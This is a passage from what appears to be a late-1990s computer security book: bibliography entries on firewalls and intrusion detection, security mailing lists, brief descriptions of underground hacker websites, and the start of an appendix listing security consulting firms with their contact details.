9(1), p. 103. \nJanuary 1992. \n• \nhttp://ftp.digital.com/pub/Digital/info/SPD/46-21-XX.txt \n\"Security in Public Mobile Communication Networks.\" Hannes Federrath, Anja \nJerichow, Dogan Kesdogan, and Andreas Pfitzmann. Proceedings of the IFIP TC 6 \nInternational Workshop on Personal Wireless Communications, Prague 1995, pp. 105-\n116. \n• \nhttp://www.informatik.uni-\nhildesheim.de/FB4/Projekte/sirene/publ/FJKP_95FunkEngl.ps.gz \n\"Security in Open Systems.\" (NIST) John Barkley, editor (with Lisa Carnahan, Richard \nKuhn, Robert Bagwill, Anastase Nakassis, Michael Ransom, John Wack, Karen Olsen, \nPaul Markovitz, and Shu-Jen Chang). U.S. Department of Commerce. Section: The X \nWindow System: Bagwill, Robert. \n• \nhttp://csrc.ncsl.nist.gov/nistpubs/800-\n7/node62.html#SECTION06200000000000000000 \n\"Security in the X11 Environment.\" Pangolin. University of Bristol, UK. January, \n1995. \n• \nhttp://sw.cse.bris.ac.uk/public/Xsecurity.html \n\"Selective Security Capabilities in ASAP--A File Management System.\" Richard W. \nConway, W. L. Maxwell, and Howard L. Morgan. TR70-62. June 1970. \n• \nhttp://cs-\ntr.cs.cornell.edu:80/Dienst/UI/2.0/Print/ncstrl.cornell%2fTR70-62 \n\"Session-Layer Encryption.\" Matt Blaze and Steve Bellovin. Proceedings of the Usenix \nSecurity Workshop, June 1995. \n\"Site Security Handbook.\" Update and Idraft version; June 1996, CMU. Draft-ietf-ssh-\nhandbook-03.txt. Barbara Fraser. \n• \nhttp://www.internic.net/internet-drafts/draft-ietf-ssh-handbook-\n03.txt \n\"SQL*Net and Firewalls.\" David Sidwell and Oracle Corporation. \n" }, { "page_number": 620, "text": " \n \n• \nhttp://www.zeuros.co.uk/firewall/library/oracle-and-fw.pdf \n\"Talking Securely.\" Mark Arnold, Anthony Boyd, Susan Dalton, Flora Lo, Adam \nMillard, and Shalini Shah.1994. \n• \nhttp://julmara.ce.chalmers.se/Security/sectalk.ps.Z \n\"TCP WRAPPER: Network Monitoring, Access Control, and Booby Traps.\" Wietse \nVenema. Proceedings of the Third Usenix UNIX Security Symposium, p. 85-92, \nBaltimore, MD. September 1992. \n• \nftp://ftp.win.tue.nl/pub/security/tcp_wrapper.ps.Z \nThe Cuckoo's Egg. Pocket Books. Cliff Stoll. ISBN: 0-671-72688-9. 1989. \n• \nhttp://www.raptor.com/lib/9371.ps \n\"The Eagle Firewall Family.\" Raptor firewall information. \n• \nhttp://www.raptor.com/products/brochure/40broch.html \n\"The Empirical Evaluation of a Security-Oriented Datagram Protocol.\" David P. \nAnderson, Domenico Ferrari, P. Venkat Rangan, B. Sartirana. U of California Berkeley, \nCS csd-87-350. UCB//CSD-87-350, April 1987. \n• \nftp://tr-ftp.cs.berkeley.edu/pub/tech-reports/csd/csd-87-350/ \n\"There Be Dragons.\" Steven M. Bellovin. To appear in proceedings of the Third Usenix \nUNIX Security Symposium, Baltimore, September 1992. AT&T Bell Laboratories, \nMurray Hill, NJ. August 15, 1992. \n\"The Secure HyperText Transfer Protocol.\" E. Rescorla and A. Schiffman. EIT. July \n1995. \n• \nhttp://www.eit.com/creations/s-http/draft-ietf-wts-shttp-00.txt \n\"The SSL Protocol.\" (IDraft) Alan O. Freier and Philip Karlton (Netscape \nCommunications) with Paul C. Kocher. \n• \nhttp://home.netscape.com/eng/ssl3/ssl-toc.html \n\"The SunScreen Product Line Overview.\" Sun Microsystems. \n• \nhttp://www.sun.com/security/overview.html \n\"The TAMU Security Package. An Ongoing Response to Internet Intruders in an \nAcademic Environment.\" David R. Safford, Douglas Lee Schales, and David K. Hess. \nProceedings of the Fourth Usenix UNIX Security Symposium, pp. 91-118, Santa Clara, \nCA. October 1993. \n• \nhttp://www.telstra.com.au/pub/docs/security/tamu-security-\noverview.ps.Z \n" }, { "page_number": 621, "text": " \n \n\"The X Window System.\" Robert W. Scheifler and Jim Gettys. ACM Transactions on \nGraphics. Volume5, Number 2, pp. 79-109. April 1986. \n• \nhttp://www.acm.org/pubs/toc/Abstracts/0730-0301/24053.html \n\"Undetectable Online Password Guessing Attacks.\" Yun Ding and Patrick Horster. \nOSR. 29(4), pp. 77-86. October 1995. \n\"Using Screend to Implement TCP/IP Security Policies.\" Jeff Mogul. Rotherwick and \nDigital. \n• \nhttp://www.zeuros.co.uk/firewall/library/screend.ps \n\"Vulnerability in Cisco Routers Used as Firewalls.\" Computer Incident Advisory \nCapability Advisory: Number D-15. May 12, 1993. \n• \nhttp://ciac.llnl.gov/ciac/bulletins/d-15.shtml \n\"WAN-Hacking with AutoHack--Auditing Security behind the Firewall.\" Alec D.E. \nMuffett. (Network Security Group, Sun Microsystems, United Kingdom.) Written by the \nauthor of Crack, the famous password-cracking program. Extraordinary document that \ndeals with methods of auditing security from behind a firewall (and auditing of a network \nso large that it contained tens of thousands of hosts). June 6, 1995. \n• \nhttp://www.telstra.com.au/pub/docs/security/muffett-autohack.ps \n\"Warding Off the Cyberspace Invaders.\" Amy Cortese. Business Week. March 13, \n1995. \n\"Windows NT Firewalls Are Born.\" PC Magazine. February 4, 1997. Jeffrey G. Witt. \n• \nhttp://www.pcmagazine.com/features/firewall/_open.htm \n• \nhttp://www.raptor.com/lib/9419.ps \n\"X Through the Firewall, and Other Application Relays.\" Treese/Wolman. Digital \nEquipment Corp. Cambridge Research Lab. October, 1993(?). \n• \nftp://crl.dec.com/pub/DEC/CRL/tech-reports/93.10.ps.Z \n\"X Window System Security.\" Ben Gross and Baba Buehler. Beckman Institute System \nServices. Last Apparent Date of Modification: January 11, 1996. \n• \nhttp://www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.h\ntml \n\"X Window Terminals.\" Björn Engberg and Thomas Porcher. Digital Technical \nJournal of Digital Equipment Corporation. 3(4), pp. 26-36. Fall 1991. \n• \nftp://ftp.digital.com/pub/Digital/info/DTJ/v3n4/X_Window_Terminals\n_01jul1992DTJ402P8.ps \n" }, { "page_number": 622, "text": " \n \nIntrusion Detection \n\"A Methodology for Testing Intrusion Detection Systems.\" N. F. Puketza, K. Zhang, \nM. Chung, B. Mukherjee, R. A. Olsson. IEEE Transactions on Software Engineering, \nVolume 22, Number 10. October 1996. \n• \nhttp://seclab.cs.ucdavis.edu/papers/tse96.ps \n\"An Introduction to Intrusion Detection.\" Aurobindo Sundaram. Last apparent date of \nmodification: October 26, 1996. \n• \nhttp://www.techmanager.com/nov96/intrus.html \n\"A Pattern-Oriented Intrusion-Detection Model and Its Applications.\" Shiuhpyng \nW. Shieh and Virgil D. Gligor. Research in Security and Privacy, IEEECSP. May 1991. \nBibliography on Intrusion Detection. The Collection of Computer Science \nBibliographies. \n• \nhttp://src.doc.ic.ac.uk/computing/bibliographies/Karlsruhe/Misc/in\ntrusion.detection.html \n\"Detecting Unusual Program Behavior Using the Statistical Component of the Next-\ngeneration Intrusion Detection Expert System (NIDES).\" Debra Anderson, Teresa F. \nLunt, Harold Javitz, Ann Tamaru, and Alfonso Valdes. SRI-CSL-95-06, May 1995. \nAvailable in hard copy only. The abstract is at \n• \nhttp://www.csl.sri.com/tr-abstracts.html#csl9506 \n\"Fraud and Intrusion Detection in Financial Information Systems.\" S. Stolfo, P. \nChan, D. Wei, W. Lee, and A. Prodromidis. 4th ACM Computer and Communications \nSecurity Conference, 1997. \n• \nhttp://www.cs.columbia.edu/~sal/hpapers/acmpaper.ps.gz \n\"GrIDS--A Graph-Based Intrusion Detection System for Large Networks.\" S. \nStaniford-Chen, S. Cheung, R. Crawford, M. Dilger, J. Frank, J. Hoagland, K. Levitt, C. \nWee, R. Yip, and D. Zerkle. The 19th National Information Systems Security \nConference. \n• \nhttp://seclab.cs.ucdavis.edu/papers/nissc96.ps \n\"Holding Intruders Accountable on the Internet.\" S. Staniford-Chen and L.T. \nHeberlein. Proceedings of the 1995 IEEE Symposium on Security and Privacy, Oakland, \nCA, May 8-10, 1995. \n• \nhttp://seclab.cs.ucdavis.edu/~stanifor/seclab_only/notes/ieee_conf\n_94/revision/submitted.ps \nIntrusion Detection Bibliography. \n• \nhttp://www.cs.purdue.edu/coast/intrusion-detection/ids_bib.html \n" }, { "page_number": 623, "text": " \n \nIntrusion Detection Bibliography (Another) \n• \nhttp://doe-is.llnl.gov/nitb/refs/bibs/bib1.html \n\"Intrusion Detection for Network Infrastructures.\" S. Cheung, K.N. Levitt, C. Ko. \n1995 IEEE Symposium on Security and Privacy, Oakland, CA, May 1995. \n• \nhttp://seclab.cs.ucdavis.edu/papers/clk95.ps \n\"Intrusion Detection Systems (IDS): A Survey of Existing Systems and A Proposed \nDistributed IDS Architecture.\" S.R. Snapp, J. Brentano, G.V. Dias, T.L. Goan, T. \nGrance, L.T. Heberlein, C. Ho, K.N. Levitt, B. Mukherjee, D.L. Mansur, K.L. Pon, and \nS.E. Smaha. Technical Report CSE-91-7, Division of Computer Science, University of \nCalifornia, Davis, February 1991. \n\"Machine Learning and Intrusion Detection: Current and Future Directions.\" J. \nFrank. Proceedings of the 17th National Computer Security Conference, October 1994. \n\"NetKuang--A Multi-Host Configuration Vulnerability Checker.\" D. Zerkle and K. \nLevitt. Proceedings of the 6th Usenix Security Symposium. San Jose, California. 1996. \n• \nhttp://seclab.cs.ucdavis.edu/papers/zl96.ps \n\"Network Intrusion Detection.\" Biswanath Mukherjee, L. Todd Heberlein, and Karl N. \nLevitt. IEEE Network, May 1994. \n• \nhttp://seclab.cs.ucdavis.edu/papers/bd96.ps \n\"Simulating Concurrent Intrusions for Testing Intrusion Detection Systems: \nParallelizing Intrusions.\" M. Chung, N. Puketza, R.A. Olsson, B. Mukherjee. \nProceedings of the 1995 National Information Systems Security Conference. Baltimore, \nMaryland. 1995. \n• \nhttp://seclab.cs.ucdavis.edu/papers/cpo95.ps \nMailing Lists \nIntrusion Detection Systems. This list concentrates primarily on discussions about \nmethods of intrusion or intrusion detection. \nTarget: majordomo@uow.edu.au \nCommand: subscribe ids (in body of message) \nThe WWW Security List. Members of this list discuss all techniques to maintain (or \nsubvert) WWW security (things involving secure methods of HTML, HTTP, and CGI). \nTarget: www-security-request@nsmx.rutgers.edu \nCommand: SUBSCRIBE www-security your_email_address (in body of \nmessage) \n" }, { "page_number": 624, "text": " \n \nThe Sneakers List. This list discusses methods of circumventing firewall and general \nsecurity. This list is reserved for lawful tests and techniques. \nTarget: majordomo@CS.YALE.EDU \nCommand: SUBSCRIBE Sneakers (in body of message) \nThe Secure HTTP List. This list is devoted to the discussion of S-HTTP and techniques \nto facilitate this new form of security for WWW transactions. \nTarget: shttp-talk-request@OpenMarket.com \nCommand: SUBSCRIBE (in body of message) \nThe NT Security List. This list is devoted to discussing all techniques of security related \nto the Microsoft Windows NT operating system. Individuals also discuss security aspects \nof other Microsoft operating systems. \nTarget: request-ntsecurity@iss.net \nCommand: subscribe ntsecurity (in body of message) \nThe Bugtraq List. This list is for posting or discussing bugs in various operating \nsystems, though UNIX is the most often discussed. The information here can be quite \nexplicit. If you are looking to learn the fine aspects (and cutting-edge news) of UNIX \nsecurity, this list is for you. \nTarget: LISTSERV@NETSPACE.ORG \nCommand: SUBSCRIBE BUGTRAQ (in body of message) \nUnderground Resources \nPhrack Magazine: A hacker e-zine that has been in existence for many years. There is a \ngreat deal of hard-core technical information in it, as well as a fascinating section called \n\"Phrack World News,\" which recounts cracker and hacker activities in recent months. \n• \nhttp://www.fc.net/phrack.html \nUnderground: The home page of Aleph 1 (and the computer underground society). This \npage has practical information and tools. Aleph 1 is an authority of UNIX security, and \nUnderground is probably one of the best underground pages ever posted. \n• \nhttp://underground.org/ \nLHI Technologies (L0pht Heavy Industries): This group is composed of some of most \ntalented underground hackers. The archives at this site contain rare papers and reports, \nsome written by the site's proprietors. \n• \nhttp://l0pht.com/ \nThe Infonexus: This site houses most of the tools that have ever been made for UNIX, \nNT, Novell, and DOS. It also houses some very interesting files that you cannot find \nelsewhere. The proprietor is Route, an individual who authored one of the most recent \ndenial-of-service tools, the syn_flooder. This site is smokin'. \n" }, { "page_number": 625, "text": " \n \n• \nhttp://www.infonexus.com/~daemon9/ \nEight Little Green Men [8LGM]: A group of individuals who work independently to \ndiscover holes in various platforms. Famous for posting exploit scripts. \n• \nhttp://www.8lgm.org/home.html \nThe alt.2600/#hack FAQ: The FAQ for the popular Usenet newsgroup, alt.2600. Some \ninteresting information can be found here, ranging from info about war dialers to tips for \ncovering your tracks after a break-in. \n• \nhttp://www-personal.engin.umich.edu/~jgotts/hack-faq/hack-faq-\ncp.html \nThe Hacks and Cracks Page: Files, files, and more files. Many files for different \nplatforms, including but not limited to DOS, Windows, and Mac. \n• \nhttp://home.earthlink.net/~mumbv/index.html \nThe Mac Hack Page: Mac hacking and cracking. Many files and links to other sites. A \ngood starting place for the Mac hacker or cracker. \n• \nhttp://members.tripod.com/~Buzzguy/The_Mac_Hack_Page \nH/P/A Links and Bullshit: A rather anarchistic but somewhat informational page with \nmany, many links. \n• \nhttp://www.paranoia.com/hpa/ \nEFF \"Hacking, Cracking, Phreaking\" Archive: This is the archive of the Electronic \nFrontier Foundation, a non-profit organization that advocates civil liberties in cyberspace. \n• \nhttp://www.eff.org/pub/Privacy/Security/Hacking_cracking_phreaking\n/ \n" }, { "page_number": 626, "text": " \n \nB \nSecurity Consultants \nThis appendix is a bit different from the one that preceded it. It is designed to provide you \nwith contact points for security vendors. However, there are several things you should \nknow about this list. First, the manner in which it was generated was extremely \nunorthodox. It differs from other such lists in several ways. \nIn March 1997, I posted a message to several security lists and newsgroups. In the \nmessage, I explained that the book was written anonymously. I stated that any security \nvendor or consultant who wished to be listed in this appendix should forward his or her \ninformation to me or to Sams.net. That listing would be printed free of charge. \nThe idea was basically to allow you to look through the listing and find a security \nconsultant or vendor near you. The responses were amazing. The vast majority of the \nvendors on the list are well known in the security community. For example, you might \nremember that I mentioned Gemini Computers earlier in this book. Gemini creates one of \nthe two most secure products on Earth. That it decided to place a listing in my book is \nextraordinary, and an honor for me. \nUnfortunately, the list is short (perhaps 60 entries, give or take a few). Nevertheless, \nthese individuals and corporations are truly in the know. Each day, they supply security \nservices to thousands of companies across the globe. Many provide such services to \nFortune 500 companies. \nSome consultants and companies that also perform many superb security services were \nreticent to placing a listing; they felt that placing a listing in a book sight unseen was \nunwise. (What if I was a complete crackpot and my book was terrible? Why be associated \nwith such a book?) This is unfortunate. So the absence of a vendor's name on this list \nmeans nothing and should not reflect on that vendor's capabilities. There are several \nhundred companies of equal caliber to those listed here. \n \nNOTE: Sams.net cannot make any representations or warranties regarding the technical \nexpertise of the companies listed in this appendix. However, I have conducted \nconcentrated surveillance of security groups and lists for approximately two years, and \nnearly all the companies listed are recognized within the security community. I would \nurge you to track them by e-mail address and URL. From this, you can easily verify their \nreputations on the Internet. \n \nThe Listings \nThe format of the listings was simple. Vendors were told to provide all their vitals (name, \naddress, contact person, telephone, fax, and URL). They were also asked to take three \nlines to explain what services they offer. Except for corrections of spelling errors, the \nlistings here appear exactly as they were received. \n" }, { "page_number": 627, "text": " \n \nANS Communications, an America Online Company \nANS is a worldwide Internet service provider. Security solutions include the ANS \nInterLock firewall, which combines access control, management reporting, and intrusion \ndetection. ANS InterManage offers full outsourcing of Internet/intranet security. \nANS Communications \n1875 Campus Commons Drive, Suite 220 \nReston, VA 20191 \nPhone: 703-758 8700, 800-944 5625 \nFax: 703-758 7717 \nE-mail: ilsupport@reston.ans.net \nURL: http://www.ans.net/InterLock \nArmor Security Inc. \nArmor provides installation of high security physical and electronic devices to protect life \nand property. These include CCTV, card access systems, burglar and fire alarms, and UL \nlisted locks and safes. \nArmor Security Inc. \n2601 Stevens Avenue South \nMinneapolis, MN 55408 \nContact: Doug Wilson \nPhone: 612-870-4142 \nFax: 612-870-4789 \nE-mail: service@armorsecurity.com \nURL: http://www.armorsecurity.com \nAS Stallion Ltd. \nData and network security consulting and services. Firewall and encryption solutions. \nSecurity evaluations and auditing. \nAS Stallion Ltd. \nSakala 19 \nTallinn EE0001, Estonia \nContact: Mr. Jyri Kaljundi, Managing Director \nPhone: 372-630-8994 \nFax: 372-630-8901 \nE-mail: stallion@stallion.ee \nURL: http://www.stallion.ee/ \nAtlantic Computing Technology Corporation \n" }, { "page_number": 628, "text": " \n \nStarted in 1994, specializes in UNIX, NT, firewalls, network security, WAN \nconnectivity. Currently resell seven different firewall brands. \nAtlantic Computing Technology Corporation \n1268 Main Street, Suite 201 \nNewington, CT 06111 \nContact: Rick E. Romkey \nPhone: 860-667-9596 \nFax: 860-666-7825 \nE-mail: info@atlantic.com \nURL: http://www.atlantic.com \nBret Watson & Associates \nComputer facility security design and testing. UNIX, Novell, Microsoft, and Apple net- \nwork and system audits. ISS technical consultant for Western Australia Security Project \nManagement. \nBret Watson & Associates \n6 June Rd \nGooseberry Hill, Western Australia, 6076, Australia \nContact: Bret Watson \nPhone: (+61) 041 4411 149 \nFax: (+61) 09 454 6042 \nE-mail: consulting@bwa.net \nURL: http://www.bwa.net \nCambridge Technology Partners, Inc. \nCambridge Technology Partners (NASDAQ: CATP) is one of the fastest growing \ncompanies in the systems integration industry. Cambridge's unique approach to \ninformation technology, network, and systems security (IT) consulting and systems \nintegration delivers innovative, quantifiable results to clients in unprecedented time \nframes. We deliver our services within a unique fixed time, fixed price model. \nCambridge Technology Partners, Inc. \n1300 South El Camino Real, Suite 600 \nSan Mateo, CA 94402 \nContact: Yobie Benjamin \nPhone: 415-574-3710 \nURL: http://www.ctp.com \nCobb Associates \n" }, { "page_number": 629, "text": " \n \nAn information security consultancy since 1987, headed by Stephen Cobb, a Certified \nInformation Systems Security Professional, offering security assessment, policy, training, \nand testing, specializing in LANs, NT, Internet, firewalls, and the Web. \nCobb Associates \n2825 Garden Street, Suite 7-11 \nTitusville, FL 32796 \nContact: Stephen Cobb, CISSP \nPhone: 407-383 0977 \nFax: 407-383 0336 \nE-mail: stephen@iu.net \nURL: http://www.2cobbs.com \nCobWeb Applications \nWindows 95, NT, network, and Web-site security specialists. Encryption and \ncompression software. More than you thought possible for less than you imagined! \nCobWeb Applications \nCherry Tree Cottage \nLeatherhead Road \nSurrey, UK KT23 4SS \nContact: Mike Cobb \nPhone: +44 1372 459040 \nFax: +44 1372 459040 \nE-mail: mikec@cobweb.co.uk \nURL: http://www.cobweb.co.uk \nComet & Company \nWindows NT and OpenVMS security and general consulting, training, design, \nconfiguration, capacity planning, hardware analysis, communications, and management \nconsulting. Experienced and seasoned consultants. \nComet & Company \n165 William Street #9 \nNew York City, NY 10038 \nContact: Carl Friedberg \nPhone: 212-233-5470 \nE-mail: carl@comets.com \nURL: http://www.comets.com \nCryptek Secure Communications LLC \n" }, { "page_number": 630, "text": " \n \nCryptek manufactures and sells NSA-evaluated network-security products for both \ngovernment and commercial use. These products include encryption, identification and \nauthentication, access control, auditing, and integrity mechanisms. The products can be \nintegrated with most applications and operating systems to provide iron-clad security to \nprotect an organization's most valuable assets. \nCryptek Secure Communications LLC \n14130-C Sullyfield Circle \nChantilly, VA 20151 \nContact: Timothy C. Williams \nPhone: 703-802-9300 \nFax: 703-818-3706 \nE-mail: williams@cryptek.com \nDataLynx, Inc. \nMulti-level Security System&tm; for UNIX and Windows NT: Features include access \ncontrol, security response, security alarms, security reporting, user account/password \nmanagement, and much more. \nDataLynx, Inc. \n6633 Convoy Court \nSan Diego, CA 92111 \nContact: Tony Macdonald, Marketing Director \nPhone: 619-560-8112 \nFax: 619-560-8114 \nE-mail: sales@dlxguard.com \nURL: http://www.dlxguard.com \nEAC Network Integrators \nEAC provides three levels of security service: intensive network and system audits, \nincident response (both per-incident and on retainer), and pro-active security design and \nimplementation. \nEAC Network Integrators \n12 Cambridge Drive \nTrumbull, CT 06644 \nContact: Jesse Whyte \nPhone: 203-371-4774 \nURL: http://www.eac.com \nElectronic Communications Consultants Inc. \nEngineering consulting services for certificate-based applications. Specializing in the \nSET protocol for Internet credit-card-based payments and certification authority \n" }, { "page_number": 631, "text": " \n \nselection, procurement, and integration. Also, electronic payment protocols, e-checks, \nand home banking. \nElectronic Communications Consultants Inc. \n46 Cranberry Circle \nSudbury, MA 01776 \nContact: Douglas D. Beattie \nPhone: 508-440-9645 \nE-mail: beattie@ecconsultants.com \nURL: http://www.ecconsultants.com \nEnterprise Solutions Inc. \nEnterprise Solutions Inc. is a network and systems integration and consulting company \nspecializing in network management and security solutions for Internet and intranet \nconnectivity. We provide security policy and firewall implementation services for UNIX \nand NT. \nEnterprise Solutions Inc. \n5002 South Renn Court \nFrederick, MD 21703 \nContact: John Clipp \nPhone: 301-473-4536 \nFax: 301-473-4683 \nE-mail: jclipp@worldnet.att.net \nEric Murray, Independent Consultant \nNetwork security and cryptography application consulting, mostly security analysis of \nnetwork software projects that are in the design phase and design/implementation of \nnetwork security products. \n \nNOTE: Mr. Murray also has been the technical editor and advisor on many books on \nInternet-related technologies. \n \nIndependent Consultant \nRedwood City, CA 94061 \nContact: Eric Murray \nE-mail: ericm@lne.com \nURL: http://www.lne.com/ericm/ \nFeist Systems \n" }, { "page_number": 632, "text": " \n \nFeist Systems is an ISP and System Integrator that can provide safe connections to the \nInternet as well as enhance your LAN/WAN security through a variety of services \nprovided by skilled industry professionals. \nFeist Systems \n110 S. Main Street, Suite 1000 \nWichita, KS 67202 \nContact: Bruce Marshall \nPhone: 316-337-8688 \nFax: 316-833-5231 \nE-mail: bkmarsh@feist.com \nURL: http://www.feist.com \nFinlayson Consulting \nSecure Net applications, cryptographic applications, security advisory consulting. \nFinlayson Consulting \n1884 Columbia Road, NW #1004 \nWashington, DC 20009 \nContact: Ross A. Finlayson \nPhone: 202-387-8208 \nE-mail: raf@tomco.net \nURL: http://www.tomco.net/~raf/fc \nGalaxy Computer Services, Inc. \nFirewall implementation (various flavors of UNIX) in a heterogeneous environment. \nPenetration testing and risk assessment, client-server application security in the Windows \nNT environment, network security product--the Information Diode&tm;--an accreditable, \none-way only path from low to high networks. \nGalaxy Computer Services, Inc. \n17831 Shotley Bridge Place \nOlney, MD 20832-1670 \nContact: George Romas \nPhone: 301-570-4647 \nFax: 301-924-8609 \nE-mail: gromas@gcsi.com, George_Romas@msn.com \nGemini Computers Inc. \nGemini products provide trustworthy support for secure system applications using the Al \ncertified foundation of the Gemini Trusted Network Processor (GTNP) with integrated \nencryption. Trustworthiness is based on trusted end-to-end encryption technologies \n" }, { "page_number": 633, "text": " \n \nsupporting the legal foundation of the electronic world in compliance with applicable \nstandards, guidelines, and laws. \nGemini Computers Inc. \nP.O. Box 222417 \nCarmel, CA 93922-2417 \nContact: Dr. Tien F. Tao, President \nPhone: 408-373-850 \nFax: 408-373-5792 \nE-mail: tft@geminisecure.com \nURL: http://www.geminisecure.com \nGlobalCenter \nISP offering dial-up, dedicated, and server co-location services, security consulting on \nfirewalls, security policies, encryption, virtual private networks, spam detection and \ncancellation, junk e-mail filtering, abuse prevention. \nGlobalCenter \n1224 E. Washington Street \nPhoenix, AZ 85034 \nContact: Jim Lippard \nPhone: 602-416-6122 \nFax: 602-416-6111 \nE-mail: jl@primenet.com \nGrand Designs, Ltd./ConfluX.net \nThe principals each have over 20 years experience in the areas of networking and \nsoftware engineering. We have experience with secure networking and systems security \nincluding work for military subcontracts. Our ConfluX.net unit offers secure Internet \naccess (that is, virtual private networks) and Web hosting. \nGrand Designs, Ltd./ConfluX.net \n4917 Evergreen Way, Suite 10 \nEverett, WA 98203 \nContact: John Painter or William Heaton \nPhone: 206-710-9006 \nE-mail: info@gdltd.com, info@conflux.net \nURL: http://www.gdltd.com/, http://www.conflux.net \nGregory R. Block \n" }, { "page_number": 634, "text": " \n \nUNIX/NT security and networking consultant, ten years of experience in the field, tiger-\nteam analyses, firewalls, topology, design and implementation at all levels. Finger for \nPGP key and mail for further information. \nGregory R. Block \n48A Hendon Lane \nLondon, N3 1TT UK \nE-mail: gblock@lemon.net \nHyperon Consulting \nHyperon Consulting is a high-technology company that provides advanced Internet and \nelectronic commerce security solutions to industry. CISSP certified and familiar with \nbanking regulations. \nHyperon Consulting \n3422 Old Capitol Trail, Suite 1245 \nWilmington, DE 19808 \nContact: James Molini \nPhone: 302-996-3047 \nFax: 302-996-5818 \nURL: http://www.hyperon.com \nIC Tech \nSystems consultants and integrators. Specializing in midrange system integration. \nIC Tech \n131 Willow Pond Way \nPenfield, NY 14526 \nContact: Vadim Mordkovich \nPhone/Fax: 716-388-1877 \nE-mail: ictech@frontiernet.net \nURL: www.frontiernet.net/~ictech \nI.T. NetworX Ltd. \nSpecialist Internet/intranet security on UNIX and Windows NT. Services offered: \nfirewalls, penetration testing, design, consultancy, products, freeware configuration. \nSince 1984. \nI.T. NetworX Ltd. \n67 Merrion Square \nDublin 2 \nIreland \nContact: Michael Ryan \n" }, { "page_number": 635, "text": " \n \nPhone: +353-1-6768866 and +353-87-444024 \nFax: +353-1-6768868 \nE-mail: mike@NetworX.ie \nIntegrity Sciences, Inc. \nIntegrity Sciences, Inc. provides consulting and software engineering services for secure \nnetworks, focusing on strong password authentication protocols immune to network \nattack. \nIntegrity Sciences, Inc. \nWestboro, MA 01581 \nContact: David Jablon \nPhone: 508-898-9024 \nE-mail: dpj@world.std.com \nURL: http://world.std.com/~dpj/ \nInternational Network Services \nOffering a full suite of consulting services including risk assessment, requirements \ndevelopment, perimeter security, host and Web server security, penetration testing and \naudits, and customer training and security awareness programs. \nInternational Network Services \n300 Crown Colony Drive, Fifth Floor \nQuincy, MA 02169 \nContact: Harold Long, Managing Director \nPhone: 617-376-2450 \nFax: 617-376-2458 \nE-mail: hlong@ins.com \nURL: http://www.ins.com \nInterNet Guide Service Inc. \nInterNet Guide Service is a consulting and coaching firm specializing in Internet strategy, \nsecurity, and digital commerce. Member of NCSA, certified IBM firewall expert. \nInterNet Guide Service Inc. \n55A Richardson Street \nBillerica, MA 01821 \nContact: Eric S. Johansson \nPhone: 508-667-4791 \n" }, { "page_number": 636, "text": " \n \nE-mail: esj@harvee.billeric.ma.us \nInternet Information Services, Inc. (IIS) \nIIS provides a full range of security expertise to businesses that want to outsource the \nmanagement of their network security. This includes firewall design and integration, \nvirtual private network design and integration, site security evaluation, security policy \ndevelopment and security systems design and implementation. \nInternet Information Services, Inc. (IIS) \n7979 Old Georgetown Road \nBethesda, MD 20814 USA \nContact: Robert Tewes \nPhone: 301-718-1770 \nFax: 301-718-1770 \nE-mail: roberttewes@iis.net \nURL: www.iis.net \nInternet Security Systems, Inc. (ISS) \nISS is the pioneer and leading supplier of network security assessment tools, providing \ncomprehensive auditing, monitoring, and response software. The company's flagship \nproduct, Internet Scanner, is the leading commercial attack simulation and security audit \ntool used by organizations worldwide. Internet Security Systems, Inc. (ISS) \n41 Perimeter Center East, Suite 660 \nAtlanta, GA 30071 USA (Corporate Headquarters) \nContact: Paul Graffeo \nPhone: 770-395-0150 \nFax: 770-395-1972 \nE-mail: info@iss.net \nURL: http://www.iss.net \nInterpact, Inc./Infowar.Com \nOnly if you really care about security, we offer security design, architecture, modeling, \nand penetration testing. We have clients on three continents and work for governments \nand the largest corporations. \n" }, { "page_number": 637, "text": " \n \nInterpact, Inc./Infowar.Com \n11511 Pine Street \nSeminole, FL 33772 \nContact: Winn Schwartai \nPhone: 813-393-6600 \nFax: 813-393-6361 \nE-mail: winn@infowar.com \nURL: http://www.info-sec.com, http://www.infowar.com \nJeff Flynn & Associates \nHolistic network security services: needs assessment, security awareness, training, \nphysical security, logical security, analysis, design, configuration, deployment, testing, \ninvestigation, firewalls, encryption, authentication, intrusion detection. \nJeff Flynn & Associates \n19 Perryville \nIrvine, CA, 92620 \nContact: Jeff Flynn \nPhone: 551-6398 \nJerboa, Inc. \nUNIX, firewalls (all vendors), product reviews, consulting, topology, policy \ndevelopment, product integration, compatibility testing, training, seminars, business \nplanning, Web technologies, encryption, and tunneling. \nJerboa, Inc. \nP.O. Box 382648 \nCambridge, MA 02238 \nContact: Ian Poynter, Diana Kelley \nPhone: 617-492-8084 \nFax: 617-492-8089 \nE-mail: info@jerboa.com \nURL: http://www.jerboa.com \n" }, { "page_number": 638, "text": " \n \nKinchlea Computer Consulting \nUNIX/network security experts (most platforms), firewalls, security audits, security \nconsultation. Vancouver Islands' security experts. We are small but highly \nknowledgeable and professional. \nKinchlea Computer Consulting \n3730 Denman Road \nDenman Island, BC, Canada, V0R 1T0 \nContact: Dave Kinchlea, President \nPhone: 250-335-0907 \nFax: 250-335-0902 \nE-mail: kcc@kinch.ark.com \nURL: http://kinch.ark.com/kcc \nKinetic, Inc. \nInternet-related open systems and computer security consulting. UNIX security audits, \nfirewall design, secure off-site Web management/housing facilities. \nKinetic, Inc. \nPark Place West, Suite 315 \n6465 Wayzata Boulevard \nMinneapolis, MN 55426-1730 \nContact: Scott Hoffer \nPhone: 612-225-8533 \nFax: 612-225-8508 \nE-mail: 411@kinetic.com \nURL: http://www.kinetic.com \nLawrence J. Kilgallen \nVMS security. \nLawrence J. Kilgallen \nBox 397081 \n" }, { "page_number": 639, "text": " \n \nCambridge, MA 02139-7081 \nPhone: 617-498-9606 \nE-mail: Kilgallen@eisner.decus.org \nLearning Tree International \nLearning Tree provides 4-day hands-on courses on UNIX security, Windows NT \nsecurity, Internet/intranet security, and firewalls, plus over 130 other information \ntechnology topics. Call for a free course catalog! \nLearning Tree International \n1805 Library Street \nReston, VA 20190-5630 \nContact: Linda Trude \nPhone: 800-843-8733 \nFax: 800-709-6405 \nE-mail: uscourses@learningtree.com \nURL: http://www.learningtree.com \nLivermore Software Labs \nLSLI is the maker of the PORTUS Secure Firewall for AIX, HP, Solaris, and Apple. It is \na Houston-based network-consulting firm. \nLivermore Software Labs \n2825 Wilcrest, Suite 160 \nHouston, Texas 77042-3358 \nContact: Jay Lyall \nVoice Mail: 713-974-3274 \nPhone: 800-240-5754 \nFax: 